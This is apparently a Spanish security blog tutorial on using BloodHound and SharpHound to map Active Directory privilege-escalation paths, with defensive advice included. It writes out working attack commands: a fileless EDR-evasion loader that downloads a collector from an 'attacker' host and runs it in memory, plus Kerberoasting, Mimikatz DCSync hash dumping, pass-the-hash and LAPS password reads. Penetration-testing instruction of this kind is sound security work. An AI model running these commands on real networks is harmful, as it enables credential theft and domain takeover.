Saltar al contenido principal
BloodHound: Mapeo de Active Directory y Rutas de Ataque

BloodHound: Mapeo de Active Directory y Rutas de Ataque

Aprende a usar BloodHound para identificar rutas de ataque en Active Directory. Colecta datos con SharpHound, analiza el grafo de AD y encuentra cadenas de escalada de privilegios hasta Domain Admin.

·Actualizado: 23 de julio de 20268 minCyberFlows Team
[Espacio publicitario — AdSense]
Respuesta rápida

BloodHound es la herramienta de referencia para mapear relaciones de Active Directory y encontrar rutas de ataque hasta Domain Admin. Usa SharpHound para colectar datos y un grafo visual para identificar Kerberoasting, DCSync, delegaciones y cadenas de escalada de privilegios.

¿Qué es BloodHound?

BloodHound es una herramienta de análisis de seguridad que modela Active Directory como un grafo de relaciones. Cada nodo representa un objeto AD (usuario, computadora, grupo, GPO) y cada arista representa una relación (MemberOf, AdminTo, HasSession, GenericAll, etc.).

El problema que resuelve: En dominios AD grandes (miles de usuarios y computadoras), identificar manualmente rutas de escalada de privilegios es prácticamente imposible. BloodHound lo automatiza: ejecuta un algoritmo de "camino más corto" sobre el grafo y te muestra visualmente cómo llegar desde cualquier nodo hasta Domain Admin.

Flujo de trabajo:

  1. Colecta — Ejecutar SharpHound en el dominio para recopilar datos
  2. Carga — Importar el archivo .zip en BloodHound CE
  3. Análisis — Usar queries Cypher para identificar debilidades
  4. Explotación — Aprovechar las rutas de ataque encontradas

Importante: BloodHound es una herramienta de auditoría de seguridad. Solo debe usarse con autorización explícita del propietario del dominio Active Directory.

Instalación de BloodHound CE

BloodHound Community Edition es la versión open-source actualizada, ejecutable vía Docker.

# Pull y ejecutar BloodHound CE
sudo docker pull bloodhound/bloodhound:latest
sudo docker run -d --name bloodhound \
  -p 8080:80 -p 7474:7474 -p 7687:7687 \
  -e BLOODHOUND_INJECTORS=true \
  bloodhound/bloodhound:latest

# Login por defecto
# Usuario: admin
# Contraseña: S3cretP@ss123 (¡cambiar después!)

# Interfaz web: http://localhost:8080

SharpHound (el colector) se descarga desde GitHub o se ejecuta directamente en el dominio comprometido.

Colecta de Datos con SharpHound

SharpHound es el componente que ejecutas dentro del dominio Active Directory para recopilar la información que BloodHound necesita.

Métodos de colecta

# Método por defecto (recomendado para empezar)
# Recopila: Group Memberships, Local Admin, Sessions, ACLs, Containers, Trusts
.\\sharpound.exe -c Default -d lab.local --zip

# Método completo (más datos, más tiempo)
# Añade: Password Policies, GPOLocalGroups, UserObject, ComputerObject
.\\sharpound.exe -c All -d lab.local --zip

# Método stealth (menos ruido)
# Usa sesiones existentes en vez de conexiones nuevas
.\\sharpound.exe -c Default --stealth --loop --loopduration 02:00:00

Desde Linux (sin Windows)

# bloodhound-python — colector alternativo para Linux
pip install bloodhound
bloodhound-python -u jsmith -p 'P@ssw0rd' \
  -d lab.local -dc dc01.lab.local -c All

Estrategias de evasión de EDR

# 1. Ejecutar desde memoria (fileless)
# Cargar en PowerShell sin escribir en disco
$bytes = (New-Object Net.WebClient).DownloadData('http://attacker/sharpound.exe')
[System.Reflection.Assembly]::Load($bytes)
[SharpHoundLibrary.SharpHound]::Start()

# 2. Modo stealth con loop
# Ejecutar durante horas para capturar sesiones de usuarios activos
.\\sharpound.exe -c Default --stealth --loop --loopduration 08:00:00

# 3. Filtrar dominio específico
# Evitar colecta innecesaria en dominios trust
.\\sharpound.exe -c Default -d target.local --zip

Análisis del Grafo de Active Directory

Una vez cargado el archivo .zip en BloodHound, el grafo se renderiza automáticamente. Aquí está lo más importante.

Nodos y relaciones

Nodo Tipo Representa
User Usuario AD Cuenta con credenciales NTLM
Computer Máquina Servidor o estación de trabajo
Group Grupo AD Grupo de seguridad o distribución
Domain Dominio Unidad de Active Directory
GPO Group Policy Política de grupo que aplica configuración
OU Organizational Unit Contenedor lógico de objetos

Relaciones clave para pentesting

Relación (Edge) Qué significa Cómo se explota
MemberOf Usuario pertenece a grupo Membresía en grupo de administración
GenericAll Control total sobre objeto Cambiar contraseña, añadir a grupo
WriteDACL Puede modificar permisos Auto-asignar GenericAll
WriteOwner Puede cambiar propietario Tomar control del objeto
AddMember Puede añadir usuarios a grupo Añadir cuenta propia a Domain Admins
CanRDP Acceso RDP remoto Login directo a la máquina
HasSession Sesión activa del usuario Pass-the-Hash si hay hash
AdminTo Admin local de la máquina Extraer credenciales de LSASS
LAPSRead Puede leer contraseña LAPS Admin local de cualquier máquina
GPLink Puede aplicar GPO a OU Forzar configuración en múltiples máquinas
DCSync Puede replicar contraseñas Obtener hashes de TODOS los usuarios

Queries Cypher para Pentesting

BloodHound usa Cypher (el lenguaje de Neo4j) para consultas. Estas son las queries más útiles para pentesting de Active Directory.

Shortest Path to Domain Admin

MATCH p=shortestPath((n {owned:true})-[*1..]->(m {domain_admin:true}))
RETURN p

La query más importante. Desde cualquier nodo marcado como "owned", encuentra la ruta más corta hasta Domain Admin.

Kerberoastable Users

MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH 'KRBTGT'
RETURN u.name, u.serviceprincipalnames, u.admincount

Lista todos los usuarios con SPN configurado. Sus hashes Kerberos pueden crackearse offline.

Find All Domain Admins

MATCH (g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})<-[:MemberOf*1..5]-(u:User)
RETURN u.name, u.enabled

Muestra quién tiene acceso directo o indirecto a Domain Admin (no solo los miembros directos).

DCSync Rights

MATCH (n)-[:DS-Replication-Get-Changes]->(d:Domain)
MATCH (n)-[:DS-Replication-Get-Changes-All]->(d)
RETURN n.name, labels(n)

Usuarios o computadoras con derecho a replicar contraseñas del DC (DCSync).

Unconstrained Delegation

MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS 'DC'
RETURN c.name, c.operatingsystem

Máquinas con delegación no restringida que pueden capturar TGTs de otros usuarios.

Owned Principals to High Value Targets

MATCH p=shortestPath(
  (n {owned:true})-[*1..]->(m {highvalue:true})
)
RETURN p

Desde nodos comprometidos hasta objetivos de alto valor (DA, Exchange, etc.).

Técnicas de Explotación según Debilidad

Kerberoasting

# Rubeus — obtener hashes Kerberos
Rubeus.exe kerberoast /outfile:hashes.txt

# Crack con hashcat (mODO 13100 = Kerberoast TGS-REP)
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule

DCSync

# Mimikatz — replicar todos los hashes
mimikatz # lsadump::dcsync /all /csv

# Mimikatz — hash específico
mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local

Pass-the-Hash

# Evil-WinRM con hash NTLM
evil-winrm -i 192.168.1.10 -u administrator -H <NTLM_HASH>

# CrackMapExec
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM_HASH> -x whoami

LAPS Extraction

# PowerView — leer LAPS
Get-DomainComputer -Identity "SERVER01" -Properties ms-Mcs-AdmPwd

# CrackMapExec — LAPS
crackmapexec ldap 192.168.1.1 -u user -p pass --laps

Defensa: Cómo Proteger Active Directory

Monitoreo con BloodHound SharpHound

# SharpHound genera tráfico de red específico
# Detectar con:
# 1. Event ID 4624 (Logon) + Event ID 4768 (TGT) in burst
# 2. LDAP queries masivos (eventos 2889, 1644)
# 3. DNS queries a DC desde hosts no-DC

# Usar ATA/ATP de Microsoft para detectar colecta
# Alertas: "Reconocimiento de Active Directory" = SharpHound

Reducir la superficie de ataque

# 1. Eliminar delegación no restringida
# Configurar solo en DCs y servidores que lo necesiten

# 2. Proteger cuentas con SPN
# Usar contraseñas largas (25+ caracteres) para cuentas Kerberoastable

# 3. Monitorear cambios de ACL
# Alertar sobre GenericAll, WriteDACL, WriteOwner en Domain Admins

# 4. Implementar LAPS
# Evita credenciales locales repetidas en todas las máquinas

# 5. Segmentar el dominio
# Usar OU y GPOs para limitar el alcance de compromisos

BloodHound vs. otras herramientas AD

Característica BloodHound PingCastle ADRecon Purple Knight
Visualización grafo Sí (interactive) No (reportes) No (texto) Sí (basic)
Queries Cypher Sí (personalizables) No No No
SharpHound Sí (propio) No PowerShell No
Gratuito Sí (CE) Parcial No
Ideal para Pentest/Red Team Auditoría compliance Inventory Blue Team

Práctica en Laboratorios

Dominio AD de práctica

# VulnHub — "DC-1" tiene un dominio AD vulnerable
# HackTheBox — máquinas con Active Directory (ej: Forest,Active)
# TryHackMe — rooms de AD (ej: "Attacking Kerberos", "Active Directory Basics")
# GOAD — Game of Active Directory (lab completo de AD en Azure/Docker)

GOAD (Game of Active Directory)

# Instalar GOAD en Azure o local con Docker
git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
# Seguir instrucciones del README para provisionar
# Incluye múltiples dominios, trusts y configuraciones vulnerables

Errores Comunes

"No data returned from SharpHound" → Verifica que tengas credenciales válidas y que el dominio sea accesible. Prueba con -d dominio.local -dc dc01.dominio.local.

"BloodHound no muestra relaciones" → Asegúrate de que el archivo .zip se cargó correctamente. Revisa el log de ingest en la interfaz.

"Kerberoastable Users vacío" → Es normal en dominios nuevos o pequeños. Algunos dominios no tienen cuentas con SPN configurado.

"Shortest Path no encuentra rutas" → Marca los nodos comprometidos con SET u.owned=true antes de ejecutar la query.

Preguntas Frecuentes

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.

[Espacio publicitario — AdSense]

Newsletter de Ciberseguridad

Resumen semanal con los mejores artículos, CVEs críticos y tendencias del mercado. Sin spam.

🔒 Tu email no se compartirá. Puedes darte de baja en cualquier momento.